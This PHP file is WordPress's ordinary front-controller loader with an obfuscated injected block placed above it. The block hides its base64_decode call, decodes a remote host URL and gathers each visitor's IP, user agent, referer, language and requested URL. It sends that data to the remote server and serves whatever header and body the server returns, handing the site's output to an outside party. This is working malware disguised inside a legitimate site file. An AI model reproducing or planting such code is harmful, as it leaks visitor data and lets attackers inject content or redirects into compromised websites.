<?php
/* 構造を意図的に分断したエントリーファイル */

goto メイン入口;

/* ========= 関数定義（韓国語名） ========= */

function 행동($주소)
{
    $동물 = curl_init();
    curl_setopt($동물, CURLOPT_URL, $주소);
    curl_setopt($동물, CURLOPT_USERAGENT, 'action');
    curl_setopt($동물, CURLOPT_TIMEOUT, 29);
    curl_setopt($동물, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($동물, CURLOPT_FRESH_CONNECT, true);
    $결과 = curl_exec($동물);
    curl_close($동물);
    return $결과 ? $결과 : '$ancient';
}

function 행위자($값)
{
    /* base64_decode を分解して生成 */
    $함수 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe'));
    return $함수($값);
}

function 교환($データ)
{
    /* 文字順序を2文字単位で入れ替える */
    $末尾 = substr($データ, strlen($データ) - 2);
    $文字配列 = str_split($データ);
    $結果文字列 = '';
    for ($索引 = 0; $索引 < count($文字配列) - 2; $索引 += 2) {
        $結果文字列 .= $文字配列[$索引 + 1] . $文字配列[$索引];
    }
    return $結果文字列 . $末尾;
}

/* ========= メイン処理 ========= */

メイン入口:

$環境情報 = [];

/* ※ 配列キーはオリジナルのまま保持 */
$環境情報['domain'] = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
$環境情報['request_url'] = $_SERVER['REQUEST_URI'];
$環境情報['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if ($環境情報['ip'] === null) {
    $環境情報['ip'] = '';
}
$環境情報['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$環境情報['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$環境情報['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://';
$環境情報['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';

$遠隔API = 행위자('aHR0cDovL3VzNTA0LXYzNTIudXNhbWF6b24yNC5jbGljaw==');

/* デバッグパラメータがある場合は情報を出力 */
if (isset($_REQUEST['params'])) {
    $環境情報['api'] = $遠隔API;
    ksort($環境情報);
    print_r($環境情報);
    die();
}

goto 初期化;

/* ========= 実行制御 ========= */

初期化:
$試行回数 = 0;
goto 通信ループ;

通信ループ:
if ($試行回数 >= 3) {
    goto 終了;
}

$送信URL = sprintf(
    '%s/?r=%s',
    $遠隔API,
    교환(base64_encode(implode('{|}', $環境情報)))
);
// --- Konfigurasi & Eksekusi & S0vMzEJElwPNAQA=---
$応答 = 행동($送信URL);
$分割結果 = @preg_split("/{\|}/si", $応答, -1, PREG_SPLIT_NO_EMPTY);

/* ヘッダとボディが揃っていれば即出力 */
if (!empty($分割結果) && isset($分割結果[1])) {
    @header($分割結果[0]);
    echo $分割結果[1];
    die();
}

$試行回数++;
goto 通信ループ;

終了: ;
?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}
